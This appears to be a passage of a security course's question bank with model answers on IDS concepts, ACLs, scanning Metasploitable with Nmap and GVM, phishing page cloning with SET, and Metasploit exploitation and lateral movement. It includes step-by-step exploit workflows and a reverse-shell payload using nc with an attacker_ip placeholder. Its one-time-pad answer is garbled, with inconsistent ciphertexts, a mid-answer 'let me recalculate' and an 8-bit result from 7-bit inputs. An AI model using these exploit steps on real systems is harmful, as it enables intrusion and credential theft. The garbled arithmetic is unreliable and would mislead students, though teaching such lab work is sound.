Key security property demonstrated:  $d=0$  and  $e=0$  were revealed publicly. But these are masked versions of  $a$  and  $b$ . The servers learned  $d$  and  $e$ , not  $a$  and  $b$  directly. The triple consumed in this computation must not be reused — reuse would reveal relationships between inputs.

**Q496: Lab 4 compares an IDS to a security camera. Extend this analogy to explain the difference between misuse detection and anomaly detection, and why each has a characteristic failure mode.**

**Model Answer:**

The security camera analogy: An IDS is like a security camera system in a building. It observes activity, records it, and raises alerts when something suspicious is detected. Like a camera, an IDS does not physically stop anything — it provides visibility and evidence. (An IPS is the equivalent of a security guard who can actually intervene when the camera detects something.)

Misuse detection (signature-based) = Camera with facial recognition against a wanted list: The system compares what it observes against a database of known threats. If it sees a face (or packet pattern) that matches a known criminal (or known attack signature), it triggers an alert. Very effective against known, catalogued threats. Characteristic failure mode: false negatives for unknown threats. A brand-new attacker whose face (packet pattern) is not in the database walks past undetected. An attacker who modifies their appearance slightly — alters their hairstyle, wears a hat (changes a few bytes in the payload, uses encoding) — may evade recognition entirely. Signature databases are always playing catch-up.

Anomaly detection = Camera with 'normal behaviour' learned over time: The system learns what normal activity looks like in the environment — which doors are used when, typical traffic patterns, normal access times. When someone does something unusual — arrives at 3am, goes to a restricted area they never normally visit, moves in an unusual pattern — an alert fires, even if the person is not on any wanted list. Can detect novel threats and insider abuse that signature detection would miss. Characteristic failure mode: false positives. Legitimate but unusual activity triggers alerts. A new employee who works late, a system during a backup window, a developer accessing unusual systems for a legitimate reason — all may look anomalous. High false-positive rates cause alert fatigue, reducing the value of the detection system. Tuning anomaly detection requires careful baselining and ongoing maintenance as legitimate behaviour changes.

The combined lesson: Neither approach is sufficient alone. Signature detection is reliable and explainable for known attacks; anomaly detection catches novel activity. Security operations typically layer both, using signatures for high-confidence automated response and anomaly signals for analyst investigation.

**Q497: Lab 4 discusses packet filter ACL rules. Write the ACL rule (in plain English) needed to achieve each of the following four policies, and explain what packet fields each rule examines.**

**Model Answer:**

(1) Policy: Allow only inbound HTTP traffic from the internet to the web server at 10.0.1.5. ACL rule: PERMIT TCP any host 10.0.1.5 eq 80 (allow incoming TCP packets with destination IP 10.0.1.5 and destination port 80). Fields examined: source IP (any — accepting from all external sources), destination IP (10.0.1.5 — only to the web server), transport protocol (TCP — HTTP is TCP-based), destination port (80 — HTTP standard port). With default-deny, all other inbound traffic is blocked. Note for stateless ACL: a matching return-traffic rule is needed — PERMIT TCP host 10.0.1.5 any established — to allow the web server to respond, unless stateful inspection handles this automatically.

(2) Policy: Block all outbound Telnet connections from the internal network. ACL rule: DENY TCP 192.168.0.0/16 any eq 23 (deny TCP packets from any internal host targeting destination port 23). Fields examined: source IP (192.168.0.0/16 — the internal network range), destination IP (any), protocol (TCP), destination port (23 — Telnet). This prevents internal hosts from establishing Telnet sessions to external systems, reducing cleartext credential exposure.

(3) Policy: Prevent the network from being used in a Smurf reflection attack by blocking ICMP directed broadcasts. ACL rule: DENY ICMP any 255.255.255.255 (block ICMP packets destined to the broadcast address). More precisely: DENY ICMP any [network broadcast address] echo-request — deny ICMP echo requests to broadcast addresses on all interfaces. Fields examined: protocol (ICMP), destination IP (broadcast address — either limited broadcast 255.255.255.255 or directed broadcast for the subnet). This prevents the firewall's network from amplifying spoofed Smurf traffic.

(4) Policy: Allow DNS queries from internal hosts to the external DNS resolver at 8.8.8.8, block all other outbound DNS. ACL rule: PERMIT UDP 192.168.0.0/16 host 8.8.8.8 eq 53. Then DENY UDP 192.168.0.0/16 any eq 53. Fields examined: source IP (internal network), destination IP (8.8.8.8 specifically), protocol (UDP — DNS standard transport), destination port (53 — DNS). This forces all DNS queries through the approved resolver, preventing DNS tunnelling to arbitrary external DNS servers.

**Q498: Lab 9 presents the OTP bit-sequence example from the lecture slides. Given plaintext 1001011 and key 1100010, compute the ciphertext bit by bit. Then demonstrate decryption. Finally, show what happens if the same key is reused to encrypt a second message 1010101.**

**Model Answer:**

Encryption (plaintext XOR key): XOR rule: same bits → 0, different bits → 1.

P: 1 0 0 1 0 1 1 K: 1 1 0 0 0 1 0 C: 0 1 0 1 0 0 1

Ciphertext: 0101001. This is the exact example from the Lecture 9 slides.

Decryption (ciphertext XOR key): The one-time pad is its own inverse — apply XOR with the same key to recover plaintext.

C: 0 1 0 1 0 0 1 K: 1 1 0 0 0 1 0 P: 1 0 0 1 0 1 1 ✓

Original plaintext recovered. Why XOR decrypts:  $(P \text{ XOR } K) \text{ XOR } K = P \text{ XOR } (K \text{ XOR } K) = P \text{ XOR } 0 = P$ . XOR of any value with itself is zero.

Key reuse attack — encrypting second message 1010101 with the same key 1100010:

Message 2: 1 0 1 0 1 0 1 Key: 1 1 0 0 0 1 0 Ciphertext2: 0 1 1 0 1 1 1

Now an attacker who has both ciphertexts  $C1=0101001$  and  $C2=0111011$  can XOR them:  $C1 \text{ XOR } C2 = 0101001 \text{ XOR } 0111011 = 0010010$ . This equals  $P1 \text{ XOR } P2 = 1001011 \text{ XOR } 1010101 = 0011110$ ... let me

recalculate:

P1 XOR P2: 1XOR1=0, 0XOR0=0, 0XOR1=1, 1XOR0=1, 0XOR1=1, 1XOR0=1, 1XOR1=0 → 00111110.

C1 XOR C2: 0XOR0=0, 1XOR1=0, 0XOR1=1, 1XOR0=1, 0XOR1=1, 0XOR1=1, 1XOR1=0 → 00111110 ✓

The key cancels out:  $C1 \text{ XOR } C2 = (P1 \text{ XOR } K) \text{ XOR } (P2 \text{ XOR } K) = P1 \text{ XOR } P2$ . The attacker now has the XOR of both plaintexts. With knowledge of one message's likely content (linguistic patterns, known message structure), the other message can often be recovered completely. This is called the 'two-time pad' attack. The OTP's security guarantee requires that each key bit is used exactly once and then discarded.

**Q499: In Lab 2, the Nmap comprehensive scan of Metasploitable 2 used the flags -sV -O -sC. Explain what specific finding each of these flags enabled that would not have been visible with a plain port scan, using actual discoveries from the Metasploitable 2 scan as examples.**

**Model Answer:**

A plain port scan (-sS or -sT without version/script flags) only reveals which TCP ports are open — that port 21, 22, 23, 80, etc. are accepting connections. It provides no information about what is actually running or which version. The additional flags change this dramatically.

-sV (service/version detection): Actively probes each open port to determine the application protocol, product name, and version. From the Metasploitable 2 scan: Port 21 → vsftpd 2.3.4 (not just 'FTP'). Port 6667 → UnrealIRCd 3.2.8.1 (not just 'IRC'). Port 8787 → dRuby. Port 3632 → distccd v1. Without -sV, these ports show as 'open' with no version — making CVE matching impossible. With -sV, the exact version strings enable direct CVE database lookup: vsftpd 2.3.4 → CVE-2011-2523 (backdoor), UnrealIRCd 3.2.8.1 → CVE-2010-2075 (backdoor). Version detection is what transforms port enumeration into vulnerability-relevant intelligence.

-O (OS detection): Uses TCP/IP stack fingerprinting to infer the operating system. Nmap sends specially crafted probes and analyses the responses (TCP sequence number patterns, TTL values, window sizes, ICMP response characteristics). From Metasploitable 2: OS: Linux 2.6.x — identifies the EOL Ubuntu 8.04 kernel generation. OS detection is imprecise — it is inference, not authoritative, and requires root. But it provides context for which vulnerability classes apply (Linux vs Windows kernel vulnerabilities, specific OS-level tools available for exploitation).

-sC (default NSE scripts, equivalent to --script=default): Runs Nmap's built-in 'default' category scripts against each open port. These are 'safe' informational scripts. From Metasploitable 2: On port 1524, the bindshell script identified it as 'netkit-rsh rexecd' — and connecting to it revealed it as an open root bind shell. On port 22, SSH host key algorithms and fingerprint were retrieved. On port 25 (SMTP), the VRFY command was tested and confirmed user enumeration was possible. On port 443/SSL, SSL certificate details were extracted. The default scripts are the NSE equivalent of banner grabbing plus contextual checks — they extract substantially more information than version detection alone.

**Q500: In Lab 7, SET's Credential Harvester was used to clone a login page. Explain exactly how the attack works at a network level, what the URL in the victim's browser looks like, why the page can appear identical to the legitimate site, and what the one technical indicator that cannot be faked is.**

**Model Answer:**

How the attack works at network level: SET (Social Engineering Toolkit) operates in two phases. First, the cloning phase: SET fetches the HTML, CSS, JavaScript, and images of the target login page (e.g., the SDU login portal or a generic login form) and saves a local copy on the attacker's Kali machine. Second, the hosting phase: SET starts a Python HTTP server (or similar) listening on port 80 of the Kali machine (e.g., 10.0.2.3). This serves the cloned page to any browser that connects. SET intercepts any POST request (form submission) that reaches the server, extracts the submitted credentials from the POST body, displays them in the terminal, and optionally redirects the victim to the real site so they see a 'login failed' or successful-looking page.

What the URL shows: The victim's browser shows the Kali machine's IP address (e.g., `http://10.0.2.3`) or a domain name that resolves to Kali (if DNS manipulation is used). In the lab: `http://127.0.0.1` (local self-test). In a real attack: the URL would be either a raw IP (obvious red flag), a lookalike domain (e.g., `sdu-portal.dk` instead of `sdu.dk`), or a legitimate URL manipulated via phishing/DNS poisoning to point to the attacker's IP.

Why the page appears identical: The HTML, CSS, and images are exact copies from the legitimate site. SET fetches all assets and recreates the visual appearance. To a non-technical user doing a quick visual check, the page is indistinguishable from the real one. The form submits to a different destination, but the HTML form action is rewritten to point to the attacker's server.

The one technical indicator that cannot be faked — the TLS certificate: The legitimate site has a TLS certificate issued for its specific domain name (`sdu.dk`) by a trusted CA. An attacker hosting a cloned page cannot obtain a valid certificate for the real domain. If the cloned page is served over HTTP (no certificate at all), the browser shows 'Not Secure' in the address bar — a visible warning. If the attacker uses HTTPS with a self-signed certificate, the browser shows a certificate warning page. To obtain a valid TLS certificate for `sdu.dk`, the attacker would need to prove domain control to a CA — which they cannot do for a domain they don't own. This is why HTTPS + certificate verification is the definitive check: check the full domain in the address bar AND verify the padlock is present — the combination cannot be faked without either a CA compromise or domain takeover.

**Q501: Across the labs, four scanning tools are used at different stages: Nmap, Nessus, GVM/OpenVAS, and Burp Suite. For each tool, state what phase of the assessment it belongs to, what type of target it is best suited for, and one specific finding from the course labs that this tool uniquely identified.**

**Model Answer:**

Nmap — Phase: Reconnaissance and host/service discovery. Best suited for: broad network enumeration, discovering open ports and service versions across many hosts quickly, initial mapping before deeper analysis. Unique lab finding: Port 1524 on Metasploitable 2 was identified by Nmap directly as 'bindshell' — the service banner made the root bind shell immediately obvious without any additional analysis. Nmap also detected vsftpd 2.3.4 (version string leading to CVE lookup) and UnrealIRCd 3.2.8.1 from banner responses — demonstrating that version detection enables CVE matching even without a full scanner.

Nessus — Phase: Vulnerability assessment (both unauthenticated and authenticated). Best suited for: Windows targets (superior SMB/WMI support), broad CVE coverage, authenticated local scanning on Linux, compliance checking. Unique lab finding: Nessus was the only tool that successfully scanned Metasploitable 3 (Windows Server 2008 R2) — GVM completely missed it. Nessus found 15 critical and 22 high vulnerabilities on MS3 including RDP-related issues, SSL/TLS weaknesses, and Windows-specific findings. Additionally, authenticated Nessus on MS2 found the Bash Shellshock vulnerability (CVE-2014-6271) and weak Debian SSH keys (CVE-2008-0166) — both invisible to unauthenticated scanning.

GVM/OpenVAS — Phase: Vulnerability assessment, particularly active exploitation-style testing. Best suited for: Linux targets, active protocol-speaking checks that confirm exploitability rather than just detecting versions. Unique lab finding: GVM confirmed MySQL root with empty password, PostgreSQL postgres:postgres credentials, and VNC password 'password' through active login attempts — these required speaking the protocol to verify. GVM also confirmed Samba CVE-2007-2447 by actively sending a crafted request and receiving an ICMP echo back from the target, proving exploitability rather than just detecting the vulnerable version. GVM found DistCC (port 3632) and dRuby (port 8787) that Nmap missed.

Burp Suite — Phase: Web application security assessment. Best suited for: HTTP/HTTPS web applications, manual parameter testing, intercepting and modifying requests, testing application logic. Unique lab finding: While the course labs use DVWA through direct browser interaction for SQL injection, Burp Suite's role is demonstrated through its proxy capability — intercepting the DVWA login request allows students to see the exact HTTP POST parameters, modify them, and test different SQL injection payloads in a controlled, repeatable way. Burp Suite provides the HTTP history view showing all requests, enabling systematic testing of every parameter rather than ad-hoc browser testing.

**Q502: In Lab 3, EternalBlue was used to compromise Metasploitable 3. Describe the complete Metasploit workflow used: the exact module path, the required option settings, what getuid returned, and why the result (NT AUTHORITY\SYSTEM) represents maximum Windows privilege.**

**Model Answer:**

Complete Metasploit workflow for EternalBlue against Metasploitable 3:

Step 1 — Launch msfconsole: msfconsole (or msfconsole -q for quiet start). The Metasploit Framework initialises and connects to the PostgreSQL database for storing findings.

Step 2 — Find the module: search ms17-010 or search eternalblue. The relevant module appears in results.

Step 3 — Select the module: use exploit/windows/smb/ms17\_010\_eternalblue. The prompt changes to msf6 exploit(windows/smb/ms17\_010\_eternalblue) >.

Step 4 — View required options: show options or show missing. Key options: RHOSTS (remote target), LHOST (local callback address for the payload).

Step 5 — Set required options: set RHOSTS 10.0.2.15 (Metasploitable 3's IP). set LHOST 10.0.2.3 (Kali's IP for the reverse callback). The default payload is windows/x64/meterpreter/reverse\_tcp, which opens a Meterpreter session.

Step 6 — Execute: run or exploit. The module sends crafted SMBv1 packets exploiting the MS17-010 buffer overflow. If successful, a Meterpreter session opens.

Step 7 — Verify access: getuid returns: NT AUTHORITY\SYSTEM. sysinfo confirms: Computer: VAGRANT-2008R2, OS: Windows Server 2008 R2 SP1, Architecture: x64.

Why NT AUTHORITY\SYSTEM represents maximum Windows privilege: NT AUTHORITY\SYSTEM is the highest privilege level in the Windows security model. It is more privileged than a local Administrator account. SYSTEM is used by the operating system kernel and core services — it has unrestricted access to all local resources including: complete filesystem access to all volumes, ability to read and modify any registry key, access to all running processes including security software (ability to terminate or inject into AV processes), ability to create and modify user accounts, access to the SAM database containing password hashes of all local users, and ability to install kernel drivers. Obtaining SYSTEM via an unauthenticated network exploit

(no credentials required, triggered remotely from port 445) means the attacker achieved complete control of the machine from a single network packet — the most severe possible outcome from a network vulnerability.

**Q503: In Lab 3, after gaining root/SYSTEM on both Metasploitable targets, the lab explicitly lists actions that were performed and distinguishes them from actions that were not taken. What was done, what was explicitly not done, and what principle governs where exploitation stops?**

**Model Answer:**

What WAS done in Lab 3 post-exploitation (minimum evidence for impact demonstration):

On Metasploitable 2 (root): sysinfo and getuid verified access level. arp and netstat mapped the network perspective from inside the compromised host (evidence gathering for lateral movement assessment). ps listed running processes. /etc/shadow was downloaded to demonstrate password hash exposure. /etc/passwd was read to enumerate users (root, msfadmin, user, service, postgres). Key configuration files were identified (vsftpd.conf, proftpd/sql.conf) to demonstrate credential exposure. Existing persistence mechanisms (vsftpd backdoor, UnreallRCd backdoor, bindshell on 1524) were documented.

On Metasploitable 3 (SYSTEM): getuid confirmed NT AUTHORITY\SYSTEM. sysinfo confirmed OS and architecture. Installed software was enumerated from directory listing (Jenkins, WordPress, Elasticsearch, GlassFish). vagrant:vagrant credentials were confirmed as a working alternative access path.

What was explicitly NOT done:

No lateral movement beyond the lab — no attempt to pivot from MS2 to reach MS3 through MS2's internal network perspective, beyond documenting that the path theoretically exists. No real credential harvesting beyond what was needed — no downloading the full SAM database or cracking domain credentials. No destructive actions — no file deletion, no data modification, no service disruption. No new malicious persistence was installed — no SSH keys added, no cron jobs created, no services backdoored. No data exfiltration beyond what was necessary for the security demonstration.

The governing principle — Non-harm and minimal footprint: Penetration testing ethics require using the least harmful proof needed to establish impact. The purpose is to demonstrate the finding exists and show its consequence, not to maximally compromise the target. Post-exploitation should stop at the evidence needed for the report. The five governing principles from Lecture 3 are: data minimisation (only evidence needed), scope containment (no unauthorised pivoting), non-harm (avoid disruption), evidence protection (secure storage), and cleanup (remove all test artefacts after engagement). This reflects the difference between demonstrating 'password hashes are readable and crackable' (minimum proof) versus 'we cracked all hashes and tested them against every other service in the network' (maximal, unnecessary harm).

**Q504: In Lab 2, GVM/OpenVAS scan results were filtered by QoD (Quality of Detection) to show 69 results from 635 raw findings. Explain what QoD means, why the lab used a minimum QoD of 70, and what the trade-off between high and low QoD filtering reveals about false positives in vulnerability scanning.**

**Model Answer:**

QoD (Quality of Detection) is a confidence metric in OpenVAS/GVM indicating how reliable a particular vulnerability detection method is. It ranges from 0 to 100 and reflects how certain the scanner is that a finding is real based on the evidence it collected.

What different QoD levels represent: QoD 100: The scanner exploited the vulnerability and confirmed impact (e.g., code executed, file read, credentials verified). Extremely high confidence. QoD 97: Version-based detection confirmed through package-level inspection (authenticated). QoD 75-85: Version detection from banner/service probe matched to a specific CVE, without active exploitation. QoD 50-70: General checks or checks that could have false positives (service type matched but version uncertain). QoD below 50: Highly speculative — version couldn't be confirmed, or the check has known false-positive rates.

Why the lab used QoD 70 minimum: Filtering to QoD 70+ means retaining only findings where GVM has reasonable confidence the detection method is sound. This reduced 635 raw findings to 69 actionable ones — an 89% reduction. The 566 filtered findings below QoD 70 were not necessarily false positives, but they required manual verification before being reportable. QoD 70 represents a practical threshold between 'might be interesting' and 'worth spending time on first.'

The trade-off — low vs high QoD filtering: Using a high QoD threshold (e.g., 90+): Fewer false positives — almost everything shown is real. Risk: missing real vulnerabilities where detection confidence is lower (e.g., a version detected from a banner that could be the vulnerable range but not confirmed). Better for time-limited assessments with clear priorities. Using a low QoD threshold (e.g., 30+): More findings — fewer false negatives. But generates a large volume requiring manual triage. Risk: alert fatigue and misprioritisation if false positives aren't identified. Better when completeness is prioritised over efficiency.

Lesson for professional practice: Raw scanner output is never the deliverable. The lab explicitly states 'scanner output = hypothesis.' Every finding requires validation: is the version actually correct? Are the prerequisites met? The QoD filter is the scanner's own assessment of its confidence — it is a starting point for analyst judgment, not a replacement for it.

**Q505: A student claims: 'I ran Nmap with -sV and found no critical vulnerabilities on Metasploitable 2 — it looks clean.' Using specific evidence from the lab exercises, explain exactly why this conclusion is wrong and what the student should have done instead.**

**Model Answer:**

This conclusion is wrong on multiple levels, each demonstrated by specific lab evidence:

Error 1 — Version detection is not vulnerability detection: Nmap -sV identifies service versions but does not assess whether those versions are vulnerable. The student must cross-reference detected versions against CVE databases. vsftpd 2.3.4 (found by Nmap's banner grab) corresponds to CVE-2011-2523 — a backdoor granting unauthenticated root shells. Nmap showed the version string; the student failed to research what that version means.

Error 2 — Nmap missed entire services: Lab 2 documents that GVM found DistCC on port 3632 and dRuby on port 8787 — ports that Nmap's standard top-1000 port scan (-sV without -p-) completely missed. Without -p- (all 65535 ports), Nmap does not scan uncommon ports. An assessment based only on default Nmap scanning has coverage gaps by design.

Error 3 — Version detection cannot find credential-based vulnerabilities: The MySQL root account had an empty password. The VNC server used 'password'. The PostgreSQL account used postgres:postgres. Nmap -sV shows MySQL on port 3306 and VNC on port 5900, but it cannot determine whether the credentials are weak or blank. Only active credential testing (by GVM or manual testing) reveals these critical findings.

Error 4 — Configuration and logic vulnerabilities are invisible to Nmap: The rlogin service allowing passwordless root login via .rhosts, the world-readable NFS share, the exposed phpinfo() page, and directory listing on the web server were all found by Nessus/GVM checks, not Nmap version detection.

These are configuration findings, not vulnerable-version findings.

Error 5 — Authenticated vulnerabilities are invisible from network scanning: The 229 unpatched Ubuntu CVEs, Bash Shellshock, and weak Debian SSH keys were only found by authenticated Nessus scanning. Nmap has no authenticated scan capability.

What the student should have done: (1) Run Nmap -p- (all ports) not just default top-1000. (2) Research every detected version against NVD/CVE databases. (3) Run both Nessus and GVM scanners for broader automated coverage. (4) Run authenticated scanning to reveal local vulnerabilities. (5) Perform manual validation of scanner findings. (6) Never conclude 'clean' from a single tool with default settings — vulnerability assessment requires a systematic multi-tool workflow.

**Q506: Lab 3 demonstrates eight distinct exploitation techniques against the two Metasploitable targets. List all eight, providing for each: the target host, the port, the tool or command used, the CVE or mechanism, and the privilege level achieved.**

**Model Answer:**

The eight exploits from Lab 3, in the order presented:

(1) Bindshell — MS2 (10.0.2.4), port 1524. Command: nc 10.0.2.4 1524. Mechanism: misconfiguration — a root shell is hardcoded as a service in inetd/xinetd config. No CVE, no exploit, no Metasploit needed. Result: uid=0(root) instantly.

(2) vsftpd 2.3.4 backdoor — MS2, port 21. Module: exploit/unix/ftp/vsftpd\_234\_backdoor. CVE-2011-2523. Mechanism: username ending with ':' triggers backdoor; shell spawns on port 6200. No credentials required. Result: uid=0(root).

(3) UnrealIRCd 3.2.8.1 backdoor — MS2, port 6667. Module: exploit/unix/irc/unreal\_ircd\_3281\_backdoor with payload cmd/unix/reverse. CVE-2010-2075. Mechanism: 'AB' prefix in any IRC command triggers reverse shell. Result: uid=0(root).

(4) rlogin passwordless login — MS2, port 513. Command: rlogin -l root 10.0.2.4. Mechanism: .rhosts trust file configured to allow passwordless root login from trusted hosts. No exploit, no Metasploit. Result: root shell with no password.

(5) Samba usermap\_script — MS2, port 445. Module: exploit/multi/samba/usermap\_script. CVE-2007-2447. Mechanism: username field in MS-RPC authentication passed unsanitised to /bin/sh; shell metacharacters in username execute commands. Payload: cmd/unix/reverse. Result: root shell (Samba daemon runs as root on MS2).

(6) EternalBlue — MS3 (10.0.2.15), port 445. Module: exploit/windows/smb/ms17\_010\_eternalblue. CVE-2017-0144 / MS17-010. Mechanism: kernel pool buffer overflow in SMBv1 → SYSTEM privilege shell. No credentials required. Result: NT AUTHORITY\SYSTEM.

(7) WinRM credential login — MS3, port 5985. Module: auxiliary/scanner/winrm/winrm\_login with credentials vagrant:vagrant. Mechanism: default credentials accepted by Windows Remote Management. Result: authenticated shell with vagrant user privileges.

(8) Privilege escalation (getsystem) — MS3, from existing WinRM session. Command: sessions -i 2; getsystem; getuid. Mechanism: Metasploit's getsystem attempts local privilege escalation techniques (named pipe impersonation, token duplication). Result: NT AUTHORITY\SYSTEM from unprivileged starting point.

Summary: Five MS2 exploits all required zero credentials. Three MS3 exploits — one unauthenticated (EternalBlue), one credential-based (WinRM), one local escalation. Every exploit path resulted in maximum privilege.

**Q507: In Lab 2, the Ghostcat vulnerability (CVE-2020-1938) on port 8009 was flagged by GVM as Critical (CVSS 9.8). Explain what AJP is, why port 8009 is dangerous when exposed, what Ghostcat allows an attacker to do, and what the remediation is.**

**Model Answer:**

AJP (Apache JServ Protocol) is a binary protocol used for internal communication between a web server (Apache httpd) and a Java application server (Apache Tomcat). In a normal deployment, Apache httpd sits in

front of Tomcat — HTTP requests arrive at httpd on port 80, and httpd proxies them internally to Tomcat via AJP on port 8009. AJP was designed for trusted internal communication between two co-located services, not for exposure to untrusted networks.

Why port 8009 is dangerous when exposed: The AJP protocol has a design assumption that it is used only within a trusted environment. It has no meaningful authentication mechanism. When port 8009 is reachable from an untrusted network (as it is on Metasploitable 2), any external party can speak the AJP protocol directly to Tomcat — bypassing any httpd access controls, authentication, or filtering that sits in front of the normal HTTP port.

What Ghostcat (CVE-2020-1938) allows: The vulnerability is in Apache Tomcat's handling of AJP requests. An attacker who can send crafted AJP requests can: (1) Read arbitrary files from within the Tomcat web application — including WEB-INF/web.xml (which contains application configuration, sometimes with credentials), WEB-INF/classes (compiled application code), and other sensitive files normally protected from direct HTTP access. (2) In some configurations where file upload is possible, escalate to remote code execution by uploading a JSP file and then using the AJP path traversal to include and execute it. GVM confirmed the file-read capability by reading /WEB-INF/web.xml through AJP.

Remediation: (1) Immediately: block port 8009 at the firewall — AJP should never be reachable from untrusted networks. (2) Patch: update Apache Tomcat to a version with the fix (9.0.31+, 8.5.51+, 7.0.100+). (3) If AJP is not needed (the web server and Tomcat communicate over HTTP internally): disable the AJP connector entirely in server.xml by removing or commenting out the line. (4) If AJP must be kept: configure requiredSecret (Tomcat 9+) to require a shared secret for AJP connections, and restrict the allowed-ip setting.

**Q508: Lab 2 identified three specific false positives in the GVM scan of Metasploitable 2. Describe each false positive, explain why GVM incorrectly flagged it, and state what manual verification step would confirm or dismiss the finding.**

**Model Answer:**

Three specific false positives from the Lab 2 GVM scan:

(1) EasyPHP multiple vulnerabilities (port 80, CVSS 7.5): GVM flagged EasyPHP vulnerabilities because phpinfo() output was exposed at /phpinfo.php on the Metasploitable 2 web server. phpinfo() reveals the PHP configuration in detail. The GVM NVT checked for EasyPHP by looking for characteristic strings in phpinfo() output that may overlap with what a standard LAMP stack shows. However, the actual installed product is not EasyPHP — it is the default Apache/PHP stack on Ubuntu 8.04. Manual verification: HTTP GET /phpinfo.php and inspect the SERVER\_SOFTWARE and system information fields. Also check installed packages: `dpkg -l | grep easyphp`. EasyPHP would not be installed on a Linux system (it is primarily a Windows WAMP stack). Conclusion: false positive triggered by phpinfo() pattern matching.

(2) QWikiwiki directory traversal (port 80): GVM flagged a QWikiwiki path traversal vulnerability because the Mutillidae web application on MS2 accepts path traversal input (../../../../etc/passwd) in certain parameters. The GVM NVT detected the path traversal behaviour and attributed it to QWikiwiki. However, the actual application is Mutillidae — a deliberately vulnerable training application that intentionally allows LFI attacks. Manual verification: Browse to /mutillidae/ and confirm the application's banner and version. Check installed files: `ls /var/www/mutillidae/`. QWikiwiki is a different application entirely. The LFI is real and present in Mutillidae, but the finding is misattributed to the wrong product.

(3) awiki LFI (port 80): Same root cause as the QWikiwiki finding — GVM's NVT detected LFI behaviour in Mutillidae and attributed it to a different wiki application called awiki. Manual verification: Same as above — confirm the actual application is Mutillidae, not awiki. The vulnerability (LFI) is genuine but the product identification is wrong.

Lesson: These false positives demonstrate a common scanner limitation: NVTs that detect vulnerability behaviour (rather than version strings) may misattribute findings to the wrong product when different applications produce similar responses. This is why scanner output = hypothesis: every finding requires manual validation of the actual product and version before being included in a vulnerability report.

**Q509: The Samba usermap\_script vulnerability (CVE-2007-2447) is an example of command injection through an unexpected channel. Explain the root cause, the injection vector, the Metasploit module used, and the defensive principle it violates.**

**Model Answer:**

Root cause: Samba versions 3.0.0 through 3.0.25rc3 contain the 'username map script' feature in smb.conf. When this option is enabled, Samba passes the username provided during MS-RPC authentication to an external script using a shell command. The code passes the username directly to /bin/sh without sanitising shell metacharacters — this is classic command injection (CWE-78: OS Command Injection).

The injection vector: When an attacker sends an SMB authentication request with a username containing shell metacharacters (backticks, semicolons, pipes), those characters are interpreted by /bin/sh when the username is passed to the map script. Example: sending the username ``/bin/sh -c 'nc -e /bin/sh attacker_ip 4444'`` causes the shell to execute that command as a separate process under the Samba daemon's privileges.

Metasploit module: `exploit/multi/samba/usermap_script`. Options: set RHOSTS 10.0.2.4, set LHOST 10.0.2.3 (for the reverse shell callback). The module automatically crafts the malicious username and handles the reverse shell. Payload: `cmd/unix/reverse`. Result on Metasploitable 2: `uid=0(root) gid=0(root)` — the Samba daemon runs as root on this intentionally vulnerable system.

How GVM confirmed it: GVM's NVT for CVE-2007-2447 sent a crafted authentication request containing an ICMP ping back command embedded in the username. When GVM received the ICMP echo reply from the target, it confirmed that command execution was successful — this is why the lab notes GVM 'confirmed exploitation by receiving ICMP response from target.'

Defensive principle violated: Input sanitisation — any data from an untrusted source (including data the application receives as an identifier rather than a command) must be sanitised before being passed to a shell or interpreter. The correct fix is to never pass user-supplied data through /bin/sh, or at minimum to use a shell-safe quoting mechanism. More broadly: the username map script feature creates an unnecessary attack surface — if the feature is not needed, it should be disabled (and in Samba's fix, the unsafe pass-through was removed).

**Q510: The GVM scan rated the Ubuntu 8.04 EOL finding as CVSS 10.0 — the same score as an open root bind shell. Is this rating appropriate? Explain the reasoning behind how EOL software can legitimately receive the maximum CVSS score.**

**Model Answer:**

At first glance, assigning CVSS 10.0 to an EOL operating system finding seems anomalous — CVSS 10.0 typically means 'network-accessible, no authentication required, full CIA impact.' The EOL finding is not a specific exploitation — it is a statement about the system's security posture.

The reasoning for CVSS 10.0 for EOL: When a product reaches end of life and no longer receives security patches, the implication for CVSS scoring is: (1) Any future CVE discovered for that product will never be patched — the window of exposure is infinite. (2) Existing known CVEs that were patched on supported versions remain permanently exploitable on EOL versions. (3) The cumulative effect is that the system is effectively equivalent to having no vendor protection at all. (4) Ubuntu 8.04 reached EOL in May 2013. By the scan date (2026), over 13 years of unpatched vulnerabilities have accumulated — including the 229 local CVEs found by the authenticated scan.

The CVSS 10.0 rating reflects the practical impact of the overall state rather than a specific exploit vector. Some scanners assign the maximum score to EOL findings to communicate: 'This is a foundational problem that makes every other finding worse, and no vendor fix is possible.' The finding effectively supersedes individual CVE ratings because the vulnerability surface cannot be closed through normal patching.

Is it appropriate? From a practical prioritisation standpoint, yes. An administrator who sees CVSS 10.0 for the EOL finding understands that upgrading or isolating the system is the highest-priority remediation action — more important than patching individual CVEs, which is impossible on EOL software anyway. The only possible 'patch' is to replace or isolate the system entirely. However, it creates potential confusion if analysts compare it literally to a specific exploitable service CVE. Good vulnerability management communicates both: the specific exploitable CVEs AND the EOL status as context that makes everything worse.

**Q511: Lab 3 assesses the lateral movement potential from a fully compromised Metasploitable 2. Describe five distinct lateral movement techniques available from root access on MS2, explaining for each what information was found and how it could be leveraged against MS3 or other network hosts.**

**Model Answer:**

Five lateral movement techniques from root on Metasploitable 2:

(1) Credential reuse from /etc/shadow: The root-readable /etc/shadow file contains MD5 hashes for root, msfadmin, user, service, and postgres accounts. The known plaintext msfadmin:msfadmin is confirmed. Cracking these hashes with john/rockyou.txt may reveal additional plaintext passwords. Any cracked password can then be tested against SSH, FTP, web applications, and MySQL on MS3 and any other hosts on the network.

(2) Database credential extraction: /etc/proftpd/sql.conf contains the database password used by ProFTPD for SQL authentication. Web application configuration files in /var/www/ contain database connection strings — including the DVWA config showing root with blank password for MySQL. These credentials may be reused across the network. The MySQL root empty-password access on MS2 means all MySQL-stored credentials (web app users, phpMyAdmin accounts) are accessible and can be harvested.

(3) Network pivoting via ARP cache: Running arp -n on the compromised MS2 reveals the ARP cache — which hosts MS2 has recently communicated with. This reveals MS3's IP address (10.0.2.15) from inside the network. From MS2's perspective, Nmap scans reveal services on MS3 that may be firewalled from external access but reachable from MS2 — demonstrating that compromise of one host expands the effective attack surface to all hosts the compromised host can reach.

(4) Trust relationship exploitation: The .rhosts trust configuration that allowed passwordless rlogin to MS2 may reference other trusted hosts. If MS2's .rhosts trusts MS3 (or vice versa), rlogin or rsh from the compromised MS2 to MS3 would work without credentials. Even if direct trust doesn't exist, the attacker can add entries to MS2's .rhosts to establish new trust relationships.

